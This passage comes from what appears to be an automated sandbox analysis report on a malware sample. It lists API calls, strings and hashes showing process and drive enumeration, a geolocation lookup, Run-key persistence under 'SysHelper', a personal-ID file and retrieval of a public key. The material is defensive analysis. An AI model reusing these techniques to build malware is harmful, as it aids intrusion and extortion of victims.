K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 007922CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 007922FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00792315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0079232C
CloseHandle.KERNEL32(00000000), ref: 00792347

Strings

kernel32.dll, xrefs: 0079224E
GetModuleBaseNameW, xrefs: 00792277, 007922AC
Psapi.dll, xrefs: 0079228C
EnumProcesses, xrefs: 00792264, 00792299
EnumProcessModules, xrefs: 0079226C, 007922A1

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 7db789156ea49aa704e60771c037f819b8f2f4ec22ff05782b8bf56d7de24cc7
Instruction ID: 85012f3257c49d9490f8e228341372236ec44547ec3414648ee701f426a84eaa
Opcode Fuzzy Hash: 7db789156ea49aa704e60771c037f819b8f2f4ec22ff05782b8bf56d7de24cc7
Instruction Fuzzy Hash: 76311071E01219BBDF10AFE59C45EAEB7BCFF45704F014069E514E2250EA789A05CFA5

Function 0079F130 Relevance: 21.7, APIs: 11, Strings: 1, Instructions: 689sleeptimewindowCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0079F15E
Sleep.KERNEL32(?), ref: 0079F185
Sleep.KERNEL32(?), ref: 0079F19D
SendMessageW.USER32(?,00008003,00000000,00000000), ref: 0079F9D0

Part of subcall function 00790A50: GetLogicalDrives.KERNEL32 ref: 00790A75
Part of subcall function 00790A50: SetErrorMode.KERNEL32(00000001,00880234,00000002), ref: 00790AE2
Part of subcall function 00790A50: PathFileExistsA.SHLWAPI(?), ref: 00790AF9
Part of subcall function 00790A50: SetErrorMode.KERNEL32(00000000), ref: 00790B02
Part of subcall function 00790A50: GetDriveTypeA.KERNEL32(?), ref: 00790B1B

Strings

C:\, xrefs: 0079F1FC, 0079F267, 0079F709, 0079F72E, 0079F736

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ErrorModeSleep$DriveDrivesExistsFileLogicalMessagePathSendTimeTypetime
String ID: C:\
API String ID: 3672571082-3404278061
Opcode ID: c59ea32320f6da570c2dd28c1d3b13550c52351e9dd91e277feff9169c16f652
Instruction ID: 46792d20d23f9c365781848134102f80dd34c30d28f2512cc84a1db45d7be806
Opcode Fuzzy Hash: c59ea32320f6da570c2dd28c1d3b13550c52351e9dd91e277feff9169c16f652
Instruction Fuzzy Hash: 25428E75D00305DBDF24DFA8E885BAEBBF1BF44308F544129E845AB381E779AA05CB91

Function 0078CF10 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0078CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0078CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0078CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0078CFCD
InternetCloseHandle.WININET(00000000), ref: 0078CFDA
InternetCloseHandle.WININET(00000000), ref: 0078CFDD

Strings

(, xrefs: 0078D149
Microsoft Internet Explorer, xrefs: 0078CF5A
$, xrefs: 0078D142
, xrefs: 0078D13B
"country_code":", xrefs: 0078CFE1
https://api.2ip.ua/geo.json, xrefs: 0078CF79

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: $"country_code":"$$$($Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-933853286
Opcode ID: d6ea10e40a3d482afe54b701087283440ded6c95cd07655e0a6626be17f5cc04
Instruction ID: 40f1c53dd53f39923b09cf9bc85b344aa04a6d734a8ad59cb208746e9bce0a51
Opcode Fuzzy Hash: d6ea10e40a3d482afe54b701087283440ded6c95cd07655e0a6626be17f5cc04
Instruction Fuzzy Hash: 3B918C71D40208DAEF21EFA4DC49BEEBBB5AF05704F204158E115B7282DBBA5E49CB61

Function 0079BAE0 Relevance: 18.3, APIs: 12, Instructions: 320
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 0079BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0079BBBA
_malloc.LIBCMT ref: 0079BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0079BBF4
_free.LIBCMT ref: 0079BCD7

Part of subcall function 00791CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,0084AC68,000000FF), ref: 00791D12
Part of subcall function 00791CD0: _memset.LIBCMT ref: 00791D3B
Part of subcall function 00791CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00791D63
Part of subcall function 00791CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0084AC68,000000FF), ref: 00791D6C
Part of subcall function 00791CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00791DD6
Part of subcall function 00791CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00791E48

IsWindow.USER32(?), ref: 0079BF69
DestroyWindow.USER32(?), ref: 0079BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0079BFA8

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: 5a3f41322f1997acf88f0cfae646b814ffe8c96e289f650186b21d319844875d
Instruction ID: f5864ca9a72bac76307e2d2871209ee152af7933205845d31d61d26c1d29efc4
Opcode Fuzzy Hash: 5a3f41322f1997acf88f0cfae646b814ffe8c96e289f650186b21d319844875d
Instruction Fuzzy Hash: 28C1CD71508340DFDB20DF28ED49B5ABBE5FF86318F044A2DF499932A2D7799904CB92

Function 007A3576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 007A35B1

Part of subcall function 007A5208: __getptd_noexit.LIBCMT ref: 007A5208

__gmtime64_s.LIBCMT ref: 007A364A
__gmtime64_s.LIBCMT ref: 007A3680
__gmtime64_s.LIBCMT ref: 007A369D
__allrem.LIBCMT ref: 007A36F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 007A370F
__allrem.LIBCMT ref: 007A3726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 007A3744
__allrem.LIBCMT ref: 007A375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 007A3779

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 0616190dc7a6c00dbd4e88c81a70a17bd699c6c83a20c35f1926a450dca24f72
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: BA71C7F1E00716EBD7249E79CC85B9AB3A4AF86324F144339F514D7681E778DE508B90

Function 0078C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 007A0FDD: __wfsopen.LIBCMT ref: 007A0FE8

_fgetws.LIBCMT ref: 0078C7BC
_memmove.LIBCMT ref: 0078C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0078C94B

Strings

C:\SystemID, xrefs: 0078C946
C:\SystemID\PersonalID.txt, xrefs: 0078C77C, 0078C956

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: 302e8b076d8bc84f302ddb4fc056ddba14a773290cc779c478205666c87a2451
Instruction ID: 477859373f5b608305d9ee3a859201f1b3b0ddbfabe17c439301fa7a98521a79
Opcode Fuzzy Hash: 302e8b076d8bc84f302ddb4fc056ddba14a773290cc779c478205666c87a2451
Instruction Fuzzy Hash: 4C91D372D40319DBCF21EFA8CC85BAEB7B4BF44304F144569E815A7241E77DAA14CBA1

Function 0078C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0079E6D4), ref: 0078C6C2
RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0078C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0078C700
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0078C725
RegCloseKey.ADVAPI32(00000000), ref: 0078C72E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0078C6B8
SysHelper, xrefs: 0078C6EB, 0078C71D

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: d5b617076ed44d5e1f78dd7031ec639327931ce55a2d8f5ffa06f94410acbfba
Instruction ID: 1bfdb4ddadbcefc638899cc95937d6d379ade8ef5cce43d5cb9a8de6f4461e23
Opcode Fuzzy Hash: d5b617076ed44d5e1f78dd7031ec639327931ce55a2d8f5ffa06f94410acbfba
Instruction Fuzzy Hash: 60111BB5940208FBEB11DF91DC46BEEBB7CFB04708F104195EA14B62A1D7B55A14EB50

Function 0079E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0079E707

Part of subcall function 0078C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0078C51B

InternetOpenW.WININET ref: 0079E743
_wcsstr.LIBCMT ref: 0079E7AE
_memmove.LIBCMT ref: 0079E838
lstrcpyW.KERNEL32(?,?), ref: 0079E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0079E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0079E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0079E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0079E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0079E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0079E9CD
InternetCloseHandle.WININET(00000000), ref: 0079E9F3
InternetCloseHandle.WININET(00000000), ref: 0079E9F6
_strstr.LIBCMT ref: 0079EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0079EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0079EA74
DeleteFileA.KERNEL32(?), ref: 0079EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0079EA92
lstrcpyA.KERNEL32(?,?), ref: 0079EAA4
lstrcpyA.KERNEL32(?,?), ref: 0079EABA
lstrlenA.KERNEL32(?), ref: 0079EAC8
lstrlenA.KERNEL32(00000022), ref: 0079EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0079EB5B
lstrlenA.KERNEL32(?), ref: 0079EB7C
_malloc.LIBCMT ref: 0079EB86
_memset.LIBCMT ref: 0079EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0079EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0079EBB6
_strstr.LIBCMT ref: 0079EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0079EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0079EC24
DeleteFileA.KERNEL32(?), ref: 0079EC32

Strings

bowsakkdestx.txt, xrefs: 0079EA67
{"public_key":", xrefs: 0079EA2E

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: 82fc2be0b5ccc60e0b578e84eb681ec61763a289b34d548c02448261220b06a2
Instruction ID: 03e0096d9e70c57c2ab2022ec7ebec22c78b0320d9a12346fbc63cd23c660c2f
Opcode Fuzzy Hash: 82fc2be0b5ccc60e0b578e84eb681ec61763a289b34d548c02448261220b06a2
Instruction Fuzzy Hash: 86015235448381ABDA70DF50AC09BDF7B9DBF52744F044819F98492282EB78A608C767

Function 00791B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,?,?,0079EE2F), ref: 00791B1E
timeGetTime.WINMM(?,?,0079EE2F), ref: 00791B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00791B4C
DispatchMessageW.USER32(?), ref: 00791B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00791B6A
Sleep.KERNEL32(00000064,?,?,0079EE2F), ref: 00791B72
timeGetTime.WINMM(?,?,0079EE2F), ref: 00791B78

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: bcc56c1a82d800ca3ad61d6e8cb9615413914b64a39843b8c76125d1855db598
Instruction ID: 9a5278799432f2c1d6f65e01cd4a025da2720845cf51a710162adc7bb40fbc36
Opcode Fuzzy Hash: bcc56c1a82d800ca3ad61d6e8cb9615413914b64a39843b8c76125d1855db598
Instruction Fuzzy Hash: 98018476A41319AADF20ABE59C41FEDB76DBB08B40F444065F700B71C0E674A911CBE5

Function 0078C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0078C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0078C539

Strings

bowsakkdestx.txt, xrefs: 0078C52D

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: dc7c0f0418d3b868c5ac22a7a1db645204a77f4d0651e948c03f2b40752d67bd
Instruction ID: 83d9cb492b49048d09e16fc893de0cd97cc616225749909e662603a2bb5d8f13
Opcode Fuzzy Hash: dc7c0f0418d3b868c5ac22a7a1db645204a77f4d0651e948c03f2b40752d67bd
Instruction Fuzzy Hash: 92110AB7A8132472DD3075696C4BFEB735C9B87721F0001A2FE0CD2182A97E995542E1

Function 0079BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0079BAAD
ShowWindow.USER32(00000000,00000000), ref: 0079BABE
UpdateWindow.USER32(00000000), ref: 0079BAC5

Strings

LPCWSTRszTitle, xrefs: 0079BA9B
LPCWSTRszWindowClass, xrefs: 0079BAA0

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: fe8dba150febb5117723ce35960e03177df5fd7fa51aa2bd436d36ad42874ada
Instruction ID: fecee8840ecfd4ecd80da4100d11e5446d6f47e9f2a1d27db1d866e8706e6879
Opcode Fuzzy Hash: fe8dba150febb5117723ce35960e03177df5fd7fa51aa2bd436d36ad42874ada
Instruction Fuzzy Hash: 37E04F3578272077E2716B147C0BF966618F702F11F30801AFA10B93D0C7E569428B9C

Function 00790BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00790C12
GlobalAlloc.KERNEL32(00000040,00004000), ref: 00790C39
_memset.LIBCMT ref: 00790C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00790C63

Memory Dump Source

Source File: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000002.00000002.2406776403.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407019568.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407082059.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.000000000089A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407116096.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2407218374.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: acfc9f171f655d8de74b17892d06b28236798a8e9e971162be0267fe7c1252aa
Instruction ID: 2beb8029b3743a09246fb35a0212a994f150e7e59c2b8f9eb2755dacdd57bd82
Opcode Fuzzy Hash: acfc9f171f655d8de74b17892d06b28236798a8e9e971162be0267fe7c1252aa
Instruction Fuzzy Hash: D691FF75618341CFDB28DF68E885B6BB7E1FF84704F14891DF48A87281E778A940CB92

Function 00790A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00790A75
SetErrorMode.KERNEL32(00000001,00880234,00000002), ref: 00790AE2
PathFileExistsA.SHLWAPI(?), ref: 00790AF9
